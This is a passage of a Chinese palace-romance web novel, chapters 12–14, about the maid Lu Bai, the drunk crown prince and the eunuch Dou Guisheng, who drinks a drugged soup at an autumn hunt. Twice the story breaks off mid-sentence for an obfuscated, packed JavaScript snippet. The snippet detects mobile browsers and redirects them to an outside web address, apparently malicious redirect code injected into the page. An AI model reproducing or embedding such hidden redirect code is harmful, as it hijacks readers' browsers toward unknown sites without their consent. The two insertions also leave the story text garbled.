所以她总是不愿跟吴玉正面争执,只敢阳奉阴违、消极怠工当做抵抗。她跟窦贵生不一样,做不到恃强凌弱。 ——自己的小命还捏在人家手里,却将对方划分到弱者的阵营,可不就是傻么。 鹿白决定等一个能够两清的机会,等不到,就自己造一个。然而,意外永远比机会先到。 秋猎正式开始的那晚,也就是转天的晚上,太子妃出事了。本来这事儿跟鹿白一丁点干系都没有,但坏就坏在,有人一门心思拉皮条,软的不行就来硬的,愣是趁此机会把鹿白跟太子凑在了一起。 这可真是坏了,鹿白心道,她鹿某人也要晚节不保了。 12. 第 12 章 一个男人因为某种机缘巧合,毁了一个女人的清白,迫于无奈,这个男人只得娶了这个女人。一开始虽然相看两生厌,但日子久了,也许有了一两个孩子,他们便渐渐知道什么叫日久生情。别管哪个日,总之会生情。 ——这是故事的常见套路以及毫无新意的结局。 故事的男主人公现在躺在床上,面色酡红,眼神迷离,酒气熏天。而女主人公在脱衣服。她先脱了挡风的斗篷,再脱了绸布外衫,然后……又一件件穿了回去。 不同的是,现在她的手中多了一个瓷瓶。 “太子殿下……太子殿下?”鹿白晃了晃床上的人。 太子迷迷瞪瞪,边晃着手臂边大舌头道:“谁、谁敢在此聒噪!”说着转头,瞥见床边俏生生的鹿白,顿时咧着嘴笑了一声:“小、小丫头,又是你,你、你我当真有缘。” 鹿白差点被他嘴里的酒气薰晕,转身抄起桌上的弓。掂了掂分量,还算趁手,便隔着一米远使劲捅床上的人:“殿下,您快醒醒,太子妃娘娘出事了!” 听到太子妃三个字,太子有一瞬间的清醒,还没等说话,腰眼就被人戳中了。 “哎哟!”他惊叫一声,险些从床上跌下来,“你你你,你竟敢打我!” 鹿白立马惊喜地迎了过去:“殿下,太子妃娘娘从马上跌下来了,你赶紧去看看吧!” “什么?!”太子猛地坐起身,跌跌撞撞地往下爬,“阿婉她、她受伤了?” “也不是。”鹿白丝毫没有帮忙的意思,还抱着手臂看上热闹了,“娘娘只是有些发热而已,不过受的惊吓倒不小,一个劲儿地叫殿下过去呢。” 太子“唔”了一声,下床的动作顿住了。停了一会儿头晕也没有丝毫好转,他便扶着床沿,又躺回去了。 “没受伤就、就好,没受伤就好……”他呆滞地喃喃道。 鹿白:“……殿下不去看看?” 太子没理她,忽的翻了个身,狐疑道:“太子妃怎么叫你来?她身边的人呢?何姑姑呢?” 鹿白也不解:“这你就得问娘娘本人了,我也不知道啊!” 她还冤得慌呢。这两口子真是绝配,一个不会骑马非要骑,结果摔了个四仰八叉;一个不会喝酒非要喝,结果醉倒在伙夫的房里,还是自动上锁的值班房。不过怎么会有人认为这扇破门锁得住她? 太子妃身边两人一个扶她回帐,一个去寻随行太医,凑巧经过的鹿白就被抓了壮丁,担负起寻找太子的重责。 “歇会儿,你与我,与我先歇会儿……”太子抬手扯衣领,三两下便将衣衫扯开,胸襟大敞地坐起身。他似乎觉得衣裳束缚得难受,边解扣子,边踉跄着朝鹿白走来,意图再明显不过。 鹿白打量了一番这个自己曾经要攻略的对象。嗯,身材还凑合。 等人走到近前,她遗憾地叹了口气:“既然如此,只能失礼一回了。” 在太子不解之时,她飞快地将瓷瓶在手中一扣,以迅雷不及掩耳之势,把倒出的东西往太子口中一捅。太子“唔唔”直叫,愣是被她按着下巴,把不明物体塞进了嗓子眼。 “咳咳……你做什么!”辣味直冲头顶,太子仿佛生吞了一整根腐烂的尖椒,眼泪都呛出来了。 鹿白用她无比真诚的眼神望着对方:“这是醒酒丸。” 太子只觉味道怪异,咽下去半晌,口中还是呛鼻的辛辣,其间还夹杂着一股发酵后的酸臭味。 “我记得……醒酒、酒丸不是这样。”他忽的大惊失色,颤抖着手指指着她,“你、你该不会喂我毒药——” “怎么会!”鹿白立马委屈道,“好心当成驴肝肺,殿下不吃就吐出来。” 咽都咽下去了,上哪儿吐去?太子咂了咂嘴,禁不住好奇道:“那你说,这、这丸怎么不同?” 鹿白一本正经,好心解释:“这是我独门秘制的配方,不妨给殿下透露一二。用脚底搓出的泥二两——最好是天生汗脚的男人脚上的泥——再加人中黄二两,童子尿二两,于坛中发酵九九八十一日,搓成黑丸。气味芬芳,效果拔群。” 于是,太子不出所料地吐了。 食物尚未完全消化,一半喷洒在地上,一半溅到鹿白身上。太子皱眉盯着那团污渍看了半分钟,喉中一涩,又恶心得吐了。然后他便酒醒了。 两人面面相觑地坐在一滩呕吐物前,太子捂着脑袋失笑道:“叫你看笑话了。” 鹿白连连摆手,方才装腔作势在行,现在倒怂了:“不敢,不敢。” “你叫陆白,我没记错吧?”太子抬了抬手,准备起身。鹿白很有眼力见儿,立刻洗了帕子,噔噔噔递到太子手上。 “殿下记性真好。”她赞叹道。 太子鼻子里喷出一声笑,用帕子擦了脸和手,又将沾了酒气的外袍扔在地上,细心地扇了扇身上的味儿,才冲鹿白道:“太子妃在哪儿?” 鹿白就等着这个呢,立即道:“在贵妃娘娘帐中。我带殿下过去吧。” 太子不再逞强,任由她踢开门,再搀着他慢悠悠地往目的地走去。一路鹿白的头都垂得很低,仔细看路,目不斜视。到了地方,太子缓缓直起身子,低叹一句:“你很好……” 声音像是顺着呼吸从嘴里偷跑出来的。 鹿白不明所以。掀了帘子,太子又回头,这次声音大了一点:“你很好。” 暖黄的灯光像是从他背后生出的半对翅膀,酒醉的涨红面庞隐在阴影中,像是裹了一层凝固的血。鹿白倏地心悸了一下。 “恭送殿下。”她急忙垂下头。再抬起时,眼前是严严实实的帐帘,里头的吵闹、笑语、哭声跟她再不相关。 两帐之隔的黑暗中,还有一个人在备受煎熬。这人的状况可比太子严重得多。 苏福进来时,便见到窦贵生躺在床榻上压抑地呻-吟。他连忙放下手中的水壶:“干爹,怎么越来越厉害了?用不用叫太医?” 窦贵生缩在被子里,穿着打扮、神情样貌与往日并无不同,只是额边的发丝掉下几缕,嘴唇稍微干了些而已。下唇正中干得裂了口,鲜血正丝丝往外渗。 “不必了。”一开口,便被人发现他嗓子哑得厉害,“水呢?” 苏福连忙倒了水端过来,窦贵生一饮而尽,但只喝到一半,另一半都洒在了被子上。他这才发现,自己手抖得厉害。 他盯着被子上那团被水沁出的暗色花纹,忽而觉得它像一只猴子,忽而觉得像一朵枯萎的花,忽而又像跪在地上的女人。目光从潮湿的睫毛流出,顺着鼻梁滑下,在无力的双手上散成一团安静、柔软、暧昧的雾气。 骄傲让他不许苏福点灯,也不许他叫太医,更不许告诉任何人。他就这么窝坐在床头,独自享受跟痛苦搏斗的过程。 我他娘的真不是个男人,窦贵生忽的放纵地想道。 发现有人在汤里下药时,汤盅已经端到了席上。朝臣们和皇子们都在,起先他以为药是给太子的,正要悄悄倒了,却被吴玉截了个正着。 “窦公公,”吴玉稳稳攥住他的手,“这可是十六殿下的赐菜。” 窦贵生恍然大悟,这药是给鹿白的。他眼珠转了转,似笑非笑道:“莫非加了什么好料在里头?”紧接着,在吴玉的注视下,将汤一饮而尽,一滴都不剩。 “也没什么特别,就是甜了点。”他咂咂嘴,将空空如也的汤盅塞到吴玉手上。 他管那时的举动叫作冲动,赌气,较劲,逞能,犯蠢。现在好了,自食苦果了。 他真不是个男人,不是个真男人。这几个字不论怎么组合,说的都是事实。女人的药,竟然对他有用!窦贵生自嘲地想道。 兀自忍了一会儿,他又想道:不是男人怎么了,得亏了我大发慈悲,那傻子要喝了岂不更严重?现在不定躺在谁床上,跟哪个男人被翻红浪呢! 他咧嘴笑了,又像是哭。 想着想着,他眼前出现了幻觉。他见到帐帘掀开了,一个惹人厌的傻子钻了进来。 “先生……你怎么了?”她还没明白状况。 “我要死了。”窦贵生平静地从幻想中的人身上挪开视线,开始满口扯胡话,“明天我就死了,你给我哭坟去吗?” “啊?!”她吓了一跳,“你是染了风寒,还是晚上吃坏了东西啊?小苏公公不跟我说,就说你不肯叫太医,让我过来。要不,要不我……” 她语气中的焦急不似作假,窦贵生愣了片刻,忽的清醒。这人真来了! 他慌乱地挺直腰杆,视线飞快挪到了一旁。 一瞬间,鹿白全都明白了。 直觉告诉她,直觉对了。被拉皮条的双方不可能只有一方中招。 不知所措地站了一会儿,直到苏福把帕子塞到她手里。冰冷湿润的触感让她瞬间清醒,抬脚向床边迈去,脚步停在窦贵生面前,帕子却被甩手扔到一旁。 鹿白灵巧地爬到床上,把窦贵生挤到里头。 “先生,”她握住他的手,凑在他耳边道,“我都知道了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218248|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窦贵生避无可避,身子在耳畔的气流中瘫软了,像是提前体会了一回年老瘫痪的感觉。除此之外,脸还很红。如果点了灯,鹿白就能瞧出来,他脸上的红晕绝不仅是一两杯有毒的酒造成的。 “有什么药效?头晕吗,手抖吗,浑身无力吗?”鹿白半是关切,半是好奇,什么药对太监也有用啊!其实还有个问题:想那个吗。她忍住了没问。 窦贵生被她气笑了,哑着嗓子道:“身上一股臭味,离我远点。” 鹿白闻言低头嗅了嗅:“早就散了啊……” 窦贵生喉中发出一个咳痰似的冷笑,听着怪恶心的。鹿白皱眉,没头没脑道:“怎么被你吃了?” “不都是你害的。”窦贵生强撑着翻过身,甩给她一个后背,恨恨道,“真是倒了八辈子血霉!” 鹿白轻轻晃了晃他的肩。明明那肩膀比太子的结实,但她就是不敢使劲,怕一不小心就把这玻璃人的玻璃心晃碎了。 “我错啦,”鹿白绕过肩膀,强行跟他面对面,“先生,我真错了。” 她把瓷瓶塞到窦贵生手里,攥着他的指头好几秒,才让他牢牢握住:“提神醒脑的,太医署给十六殿下开的方子。味道有点冲,你先含一颗,别咽。” “什么好玩意儿呢……”窦贵生用鹿白听不清的声音抱怨了一句,挑了两颗含到嘴里。那么难吃的东西入了口,他愣是一点反应都没有。鹿白怀疑他压根没吃,掰开他的嘴,非要检查一遍。 窦贵生被潮水吞没的思绪时不时冒出头,剧烈地挣扎一息,扑腾出一些不合时宜的念头。蠢货,也不看是谁的脸就乱摸。 静静坐了片刻,鹿白突然真诚发问:“先生,他们都说你喜欢我。你是不是喜欢我?” 她抱着膝盖坐在他身旁,离他一个指头的距离都不到。窦贵生看帐篷尖尖的圆顶,看桌上的茶杯,看被子上的水渍,就是不看她。 “到底是不是啊?”鹿白着急了,动手扯他的袖子。她执意要知道这个跟直觉截然相反的结果是不是错的。 窦贵生还是那个盛气凌人的答案:“你瞎了,还是我瞎了?” 然而情势所迫,底气全无。 鹿白:“……” 一会儿喜欢谢嫔,一会儿又喜欢她,一会儿承认,一会儿又拒绝,老太监的心思真难懂!纠结片刻,她突然想到一个主意。 “先生,”她突然光芒大作的眼神吓了对方一跳,“我能不能亲你一下?” 如果不确定一个人是否喜欢你,那便亲他一下。不过不确定你是否喜欢一个人,那便再亲他一下。鹿白脑中仿佛有人吹着喇叭,拉着横幅,敲锣打鼓,兴高采烈地为她喝彩:鹿女史真是落实行动的标兵,践行真理的先锋! 窦贵生终于抬起了眼皮。睫毛轻颤,一片阴影就这么毫无防备地袭击了他。 人的记忆通常都跟嗅觉联系在一起,情感尤甚。热恋是玫瑰味,成亲是红烛味,分手是酒味,敬仰是墨汁味,哀痛是白菊味,恐惧是血锈味。 可鹿白吻他时,窦贵生半点味道都没闻到。她身上干干净净,像一团秋季傍晚水塘上方升起的雾气,倏地飘过,倏地散入黑夜,倏地消失。一丝味道都不留,一丝痕迹都不剩。 窦贵生突然有点心慌。他会不会有一天忘了她,连同她的味道一起遗落在孤独岁月的残影里?在可以望见的未来中,她会不会像一团水雾一样离开他? 四片唇瓣相贴。比相贴再进一步时,鹿白吃了一嘴醒脑丸。 肩上猛地被人推了一把,鹿白仰面摔在床上。窦贵生“呸呸”两下吐了药丸,百米冲刺似的跑了出去。 鹿白只觉得莫名其妙,怔怔地看了一会儿,才懊悔地长叹一声:“我还没谢他呢!” 方法蠢了点,结果是好的。 方才的事实证明,除了醒脑丸真难吃外,她真是半点感觉没有。虽然但是,她决定不讨厌他了。 他也算救了她一回,扒裤子的仇暂且搁置,容后再议吧。 落荒而逃的窦贵生一直跑到了湖边,蹲在水边抠嗓子,但什么都没抠出来。太子吃了这苦药,没多久就吐得稀里哗啦。可窦贵生没吐,他有种更奇怪的感觉。 说不清。 也许换个角度,俗套的故事在鹿白这里同样适用—— 一个女人因为某种机缘巧合,毁了一个老太监的清白,迫于无奈,这个老太监只得嫁给这个女人。一开始虽然别别扭扭不肯承认,但日子久了,终会日久生情。 他终会爱上她。 13. 第 13 章 太子妃惊马一事闹得人心惶惶,但人们并不意外。 秋猎、祭祀、寿诞、新年……此等活动自古以来就是兵家必争之地,宫斗战士们卯足了劲儿要大展拳脚,拼死厮杀,斗个你死我活。不奇怪,一点儿都不奇怪。 太子妃似乎被吓傻了,躲在帐内闭门不出,太子只得留下陪她。皇帝一早起听窦贵生提起此事,得知太子妃没事,便随口应了一句,高高兴兴带着九皇子出去围猎了。霍皇后射猎不太擅长,骑马技术却不错,宫内有座极大的跑马场,便是皇帝专门为霍皇后建的。于是她也一道去了。 一家三口,兴高采烈,都跟没事儿人似的。 皇帝自有禁卫跟着,轮不到窦贵生操心。但他却丝毫没闲着,天没亮就伺候皇帝沐浴更衣,把昨日经由吴玉收上来的折子都一一讲给皇帝听,听候指示。 送走了皇帝,他赶紧用朱笔拟了领导批示,叫司礼监众太监送走;再未雨绸缪地准备起几人围猎回来的沐浴衣物;接着,马不停蹄地巡视了一遍女眷们的守卫,坚决杜绝昨晚的情况再次发生。 忙忙叨叨,一刻也不敢停。因为一旦停下,暗中窥伺已久的凶兽便会立刻将他拖入记忆的深渊,把他变成另一个软弱、无助、卑微、可耻的人。 那一定不是他,窦贵生心道。昨晚的都是幻觉,想象,南柯一梦。 对,就是这样。 这念头字字在理,不费吹灰之力便将他说服。窦贵生顿时浑身一松,退烧似的出了满身大汗。昨晚在水边吹的一宿冷风,在床上辗转反侧的头痛,在恭桶边呕吐的眩晕,以及那些莫名其妙的情愫,似乎都顺着这一身汗流到衣服上,被水冲了个一干二净。 现在他又变回窦贵生了。 晌午时分,皇帝一行三人仍未回来。窦贵生燃了枚烟弹,凝眉远眺。片刻后,山林中传来禁卫的信号烟,表示他们平安无事。 他有点烦躁。圣上还不回来,他能做的事儿都做完了,洗澡水都烧了三遍了,现在到底干点什么好呢? 窦贵生在营地里转了一圈。后宫娘娘们穿着骑装,嘻嘻哈哈,装模作样的,不像是来围猎,倒像是来比美的。 他又去湖边溜达了一会儿。两位小公主在湖心凉亭垂钓,他叮嘱了几句,直到两人保证一定与水面保持安全距离,才背着手离开。 紧接着他去马场视察了一番。这马个个膘肥体壮,胖得流油了,还跑得动跑不动啊。他想上马试试,但举目四顾,又不知道该去哪儿,只得索然作罢。 最后,他来到了十六皇子的帐前。里头静悄悄的,不似有人,他出神地看了一会儿,转身便走。 然而刚转过身,背后的帘子就被人粗暴地掀起,“呼啦”一下,仿佛掀开一堵陈年棺木,阳光大刀阔斧地闯进其中。 “先生!”挖坟的人惊喜道。 “……”坟里的人十分僵硬。 昨晚,等鹿白后知后觉地追出去时,窦贵生早已不见踪影了。她和苏福沿着湖岸走了大半圈也没见着人,苏福却不肯再找了,指着被踩扁的两棵草道:“你先回吧。等你回了,干爹自然就出来了。” 两棵小草在鹿白的注视中颤颤巍巍地站起身,草丛里那两枚脚印大小的黑影分外醒目,显然留下它们的人才离开不久。鹿白恍然大悟,窦贵生哪是不见了,分明是故意躲她呢! 亲一下就这么大反应,小气巴拉的。 她知道窦贵生在生气,已经做好被他打着手心骂“放肆”“无耻”“不要脸”的准备了。但她没想到,窦贵生气性竟然这么大,气了一宿都没消。 她兴冲冲地出了帐,正想问他身子好点了吗,昨晚她有点受风,顺嫔娘娘送来了发汗的姜汤,可以给他来一碗。 “你要不要——”她心道正好,让他直接在这儿喝了得了。话说了一半,窦贵生跟没听见似的,忽的加快了离开的脚步。 鹿白:“哎,先生,窦公公?等等!” 她往前追了两步。前头那人听见脚步,非但没停,反而见鬼似的跑了。 鹿白:“……” 在门口站了片刻,她忽的惊悚万分地跑回去:“芳姑姑,快,镜子呢!” 赵芳姑正在给十六皇子梳头,顺手把镜子斜了个角度:“急什么,怎么了?” 鹿白一会儿皱眉,一会儿耸鼻子,确认自己脸上没有骇人的伤疤,肌肉功能运转良好,才拍着心口道:“吓死我了!”说罢又喃喃自语,“那他跑什么跑呢……” 赵芳姑不知何时已经转到屏风外,掀了帘子出去了。十六皇子的头发梳了一大半,只剩下发冠没有戴。他透过打磨光滑的镜面,默默凝望着表情生动的鹿白。见她似乎想通了什么,他才动了动灰白的手指:“小白,我今天想骑马。” “能行吗?”鹿白从沉思中回神,对他表示了十足的怀疑。 十六皇子的脸一下鼓起来了,语速比平时快了几分:“太医不是说了,骑马可以,别过度活动就行了。” 太医的确说过这话,鹿白于是点了点头:“你与芳姑姑说过了吗?娘娘同意了?” 十六皇子直愣愣地跟她对视:“她叫我问你。” 鹿白挠头:“啊?” 见十六皇子不愿解释,她便将这话当做顺嫔的命令,果断选择同意:“那好吧,我给殿下找匹听话的马。” “好,那你快去。”十六皇子抿着嘴笑,表情仍是淡淡的,但鹿白知道他很高兴。 快活一天是一天吧,出帐子时鹿白一阵怅然。 她设想了一下,如果有那么一天,能清晰地看到自己距离墓穴的每一枚刻度,知道自己还有几步能到终点,她一定不会像十六皇子那样惜命。反正没几天活头了,她更要放肆,可劲儿放肆。 也不知道这等想法是不是存了故意跟先生较劲的心思。 鹿白为十六皇子挑的是一匹乌云踏雪的母马,又矮又小。十六皇子瞥见她和甄秋骑的枣红大马,不禁垂下了头,强迫症似的摆弄着手中的缰绳。 所幸,马儿听话地跑起来了。十六皇子起先还吓了一跳,不多时便领悟到了诀窍,嘚儿驾嘚儿驾地转起圈子。 嬉闹声隔着一片氤氲的水汽,从湖岸对面传来。十六皇子疑惑奇道:“怎么尽是女人的笑声?” 甄秋隔空在对岸划了好大一个圆:“那头是专门为女眷圈出的猎场,都是些兔子啊鸟啊的,殿下想去,咱们就一道去看看。” 他既然说了是女眷,男人怎么好意思再去?十四岁怎么了,十四岁也是男人啊。 方才就滋生出的心事被再度挑起,十六皇子缓缓摇了摇头:“不了,我就在附近转转吧。” “小白,”他忽然叫住意欲往回走的鹿白,投过一个期盼的眼神,“你过去瞧瞧吧。” 这个年纪正是好奇心旺盛的时候,鹿白几乎没有犹豫就颔首道:“那我去了,殿下一切小心。” 马蹄达达,马上的人忽的回头大喊:“主公放心,白定不辱使命!” 十六皇子噗嗤一声笑了。 行至一半,一个画面忽的闪过脑海,顿时叫鹿白的速度慢了下来。她以为自己能想起点什么,但全神贯注地追寻那记忆时,它再次像熊孩子似的耍了个把戏,按完门铃就跑了。 这脑子,还是想不起来。 回过神时,鹿白便察觉身后有人。那人马骑得很急,鹿白怕自己挡道,便减了速度,拽着缰绳往旁边让了让。 奇怪的是,她慢,后头的人也跟着慢。她快,后头也跟着快。最后她“吁”的一声勒马站住,跟踪的马蹄声也戛然而止。 她猛然转头,视线如同青龙偃月刀似的扫过那人的马腿,险些让他当场坠落。 “先生不打算见我了?”她大声喊道。 窦贵生脸色一僵,在她的注视中磨磨蹭蹭地驾马过来。经过鹿白身边时,眼睛斜都没斜,脊背弯都没弯,发冠乱都没乱,手指紧都没紧。坦坦荡荡,毫不心虚。 “……哎?” 鹿白眼睁睁看着人从她身边经过,愣是拿她当空气,不禁出声阻止。窦贵生对这突然的声响反应出乎意料地大,手中一个用力,整匹马都调转过来了。 “哟,这还有个人呢!”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218249|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用那种总也睡不醒的目光瞪着她。 “先生也去女眷猎场啊?”鹿白没再继续追问,窦贵生顿时松了口气,面上的肌肉也能自由活动了。 “什么女眷猎场,书都白念了?”窦贵生夹着马慢慢转过身,大发慈悲地解释道,“记住了,那叫疆台苑,乃前朝孝武皇帝所建,已有百余年了。” 他抻着调子这么一说,鹿白就想起来了。这地方本叫作章台苑,不知道哪位皇帝开始,突然想起“章”字犯讳一事,便该做了疆台苑。 思及章台苑,便思及章台柳,再看嬉闹的人群时,便满满都是别离之意了。 窦贵生眼珠子施舍似的转向鹿白,在她身上飞快扫了一遍,嫌弃地收了回去。 “这都记不住,找打……”他咕哝道。 来了来了,又是这种表情,可算正常了! 鹿白现在很肯定自己有受虐倾向。窦贵生横眉竖眼的时候不觉得难受,一不骂她,她倒觉得哪儿哪儿都不对劲——太阳打西边出来了,公鸡能下蛋了,世界不正常了,他们所在的这层空间要坍塌了,末世即将来临了,她要变丧尸了。 诸如此类,等等等等。 两人各怀心思,在路上不疾不徐地行了片刻,鹿白才想起一个问题:“先生,你也去疆台苑?” 窦贵生扬起下巴,鞭子顺着鼻尖的方向延了过去:“去寻圣上。凑巧顺路罢了。” 他无所事事,闲得发慌,吴玉却从天而降,给了他两本折子——北边的战报又来了。这种救命般的举动令难缠的老匹夫也顺眼了几分。他得了两军交战的战报,立刻揣在怀里,像周军已经取胜了似的,驾马飞奔而去。 圣上说了,事关陈国,不论大小,都要高度重视,及时汇总,抓紧上报。这可不是逃跑,他又不是怕了,有什么可逃的。 鹿白没来过猎场,不知道这顺路都已经顺得能绕地球一圈了,了然地点了点头。又走了片刻,她突然凑近了半米,两匹马紧紧贴在一处。 “你是不是……”她做贼似的压低声音,鬼鬼祟祟道。 窦贵生心跳如雷。她要是再敢问,他就……他就承认!到时看她还要如何,还敢如何? “是不是去找谢嫔娘娘?”鹿白自以为猜中,掩着嘴冲窦贵生挤眉弄眼。 窦贵生:“……” “怪相!”他推开她的脸,咬紧牙根不再说话。 鹿白权当没听见,自我否认道:“不对,太危险了,她不该来。差点忘了,我来之前还在营里见着她了呢。” 为了自保,谢嫔强装无事来了秋猎,愣是没叫任何人知道她有了身孕。当然,要是她本来就不打算要这个孩子,还想借此做些文章,那就是另说了。 宫斗的套路鹿白很是熟悉,且不太想掺和,转而问道:“你说,谢嫔娘娘这胎是男是女啊?” 窦贵生现在倒不怕鹿白乱说了,再次提到“好哥哥事件”也平静了许多。自从上次出了那事,他便决心不再面会谢嫔,且暗中做了不少布置。但他们的关系还有待深究,暂且还不能动她。 他瞧着她还有点期待的意思,忍不住笑道:“怎么着,皇子如何,公主又如何?难不成生了皇子,你还要去跟前伺候?” 笑完觉得颇为生硬,赶紧拉下脸继续装深沉。 鹿白奇怪地瞥了他一眼:“这不是你该关心的问题吗?” 窦贵生一愣,立马明白她话里的意思。胸腔中的气流盘桓了好几圈,他才镇定道:“是,这世上没人比我更关心谢嫔娘娘了。” 鹿白“哦”了一声。 等了片刻,他跟整日坐在村头说三道四的老太婆似的,意有所指,阴阳怪气道:“谢嫔娘娘聪敏过人,连圣上都赞她巧捷淑惠,着实叫人心生仰慕。” 鹿白又“哦”了一声。 “总之我死也不会看上你,赶紧歇了你那心思吧!”他指着鹿白的鼻子做出总结陈词。一点都不像外强中干,色厉内荏的样子。 鹿白点头:“我知道啊。” 窦贵生:“……” 你知道,你知道个狗屁! 14. 第 14 章 鹿白其实什么都知道。在那晚窦贵生没有甩开她的手时,她就已经知道了。 但她并不认为窦贵生打算来真的,毕竟他心里头有个谢嫔娘娘呢。两人爱而不得,实在耐不住寂寞,便寻个解闷的玩意——对,就是她。 常年握笔的手,墨香似乎已经透过皮肉,浸入骨髓。鹿白回忆起那晚指腹摸到的薄茧,闻了闻自己的指尖,除了一鼻子药味外,什么都没闻到。什么时候她才能像先生一样,出口成脏,挥洒自如呢? 鹿白重重叹了口气。 赵芳姑瞥了她一眼,颇为惊奇地打趣道:“小小年纪还叹上气了!有什么可愁的,说来我听听。” 鹿白低头滤着五苓散的药渣,连连叹气道:“唉!芳姑姑,我觉得我挺没文化的。” 赵芳姑捂着嘴忍了半天,才没让笑声跑出来:“这是怎么说的,内学堂的课都白上了?我听你跟殿下说得头头是道的呀!” 那有什么难的,复读机谁不会当啊。鹿白继续唉声叹气:“那我也比不过窦公公呀……” 赵芳姑心说奇怪,往常总是咬牙切齿的,今天提起窦贵生怎么这么心事重重。昨天从疆台苑回来,她就一直这样,长吁短叹,忧心忡忡,整个人都蔫了。 “你跟他比什么,”赵芳姑安慰道,“哪有学生比先生还厉害的呢!” 鹿白:“唉!” 赵芳姑:“到底怎么了,又叫人欺负了?” 鹿白:“……我有那么傻吗?” 赵芳姑:“我看有。” 鹿白:“……” 做了半晌心理建设,提了好几口气,鹿白才以旁观者讲故事的口吻开了头:“那天发生了一件事。我去疆台苑,本来只是去看一眼就走,结果多耽搁了一会儿,回来就撞见窦公公,他与张将军还是庄将军的一道回来。对,就是禁卫将军,他问我是否回营,可否一起。” 说到此处,鹿白终于忍不住代入角色,恨恨地跺了脚:“你说我搭那腔干嘛呢!芳姑姑,你可是不知道,回来路上这俩人从诗词歌赋到人生哲学,聊得这叫一个起劲!回了营才想起我还在屁股后头跟着。我连一个字,不,半个字都听不懂。真的,简直太叫人难堪了,这两人一定是故意的!” 顿了顿,又垂头丧气道:“谁叫我没文化呢……” “就为这事儿呀!”甄秋掀了帐帘进来,笑眯眯地插嘴道。他似乎总是这样,有天大的事儿也能很快翻篇。 “你接着学不就行了,我听说窦公公已经与周翰林当年不相上下了。你超过他,也就早晚的事儿。” 说的也是。鹿白立马高兴了,捧着药碗精神抖擞地送去十六皇子帐中。 她一直很好奇,如果命运的洪流在窦贵生入宫那年分了个岔,朝另一个方向拐过去,又当如何? 他也许会考入国子监,再次拜到周翰林甚至林相门下,在朝中谋得一官半职,再娶一个年纪相当的大家闺秀;也许会屡试不中,在乡间当一名私塾先生,每日教训完学生,回屋写两首酸诗,闲时种种花草,又忍不住为草木的荣枯黯然伤神。 不论是千万种可能中的哪种,他们都不会有任何交集。 药碗刚一放下,外头就来人了,指名道姓要见她。还真巧,正是上次那个绿衣宫女。 鹿白尴尬地在衣襟上擦了擦手,决定先发制人:“这位姑姑,我容貌不好,脑子也不好,不敢肖想太子殿下,请千万高抬贵手。” 绿衣宫女比她更尴尬:“陆女史,上次之事多有得罪。这不,我这就来给你赔罪了。”说着上前两步,想要拉她的胳膊。 鹿白一跳三步远,连连摆手:“不必不必,算不上得罪。” 绿衣宫女讪讪收了手,叫人把赔礼送上,鹿白这才注意到后头两人手中还捧着盒子。 盒子里是鲜鹿茸,太子殿下昨日才猎的。鹿白本想拒绝,但一见如此贵重,顿时便犹豫了。 这明显不是给她的,是给十六皇子的。送她核桃多好,还能留着补补脑。 “我……我去问问殿下吧。”她面露难色,决定说服十六皇子跟她统一战线,坚决不能接受太子的贿赂。 赵芳姑将帐帘掀起一条缝,探了个头出来:“先收着吧,殿下还没起。我做主了。” 绿衣宫女面上一喜,得寸进尺道:“如此甚好。敢问陆女史,能不能借一步说话?” 鹿白神情凝重地点点头,转身道:“芳姑姑,有没有防身用的菜刀,给我带一把。” 赵芳姑:“……” 绿衣宫女:“……” 菜刀没有,即便有鹿白也不准备真带。她不是怕被欺负,是怕再次发生碰巧路过、碰巧被叫住、碰巧去喊人、碰巧跟醉酒的太子锁在一处的事故。 出乎意料的是,这次并不是太子想见她。 “到了。”绿衣宫女为她掀起帐帘,动作之间露出一截挨了打的手臂。 鹿白的脚在门边的毛毯边上蹭了蹭,踮着脚尖从上头跳了过去,仿佛踩的不是毛毯,而是一片莲池中的荷叶。 “你会骑马?”太子妃慵懒的声音从塌上传来,似乎没睡醒。 鹿白:“……是,娘娘。”看来是没摔出毛病,还不死心呢。 “那好。”一身锦袍的人从塌上起身,款步走到鹿白身边,居高临下的声音比之温文尔雅的丈夫冷了许多,“换衣裳会吗?” 鹿白:“会……吧。” 太子妃皱了皱眉,飞快地松开,转身往里走,声音顺着她的脚步远远落下,掩埋在满地皮毛柔软的缝隙中。 “青怜,去叫陆白进来,伺候本宫换衣裳。” 鹿白只觉得莫名其妙。满屋子下人,怎么非跟她过不去?但老实如她,是一声都不敢吭的。 于是她便老老实实为太子妃换了衣裳,倒了茶水,铺了床,收拾了妆盒。除了不小心勾了几根太子妃的发丝外,表现近乎完美。 起码能打八十分吧? 这一念头刚出,鹿白的脚步就顿住了。怪了,太子妃此举不像是为难,而像是考核?当时她眼瞅着就快发火了,最终还是忍了下来,骂了句“笨手笨脚”,就把鹿白赶走了。 依照鹿白算无遗策的直觉,事出反常必有妖。的确,反常的太子夫妻正在谋划一件惊天动地的大事,当天下午,鹿白便被皇帝叫过去问话了。 这是她第一次亲眼见到皇帝。不但有皇帝,还有皇后、德贵妃、一众妃嫔,以及她幕后的真正主子,九皇子。大周权力顶峰的人几乎全部集齐了。 自然,还有跟后头楠木屏风几乎融为一体的黑脸窦贵生。站姿很低调,隐藏很巧妙,那又如何,还不是照样被她发现了。 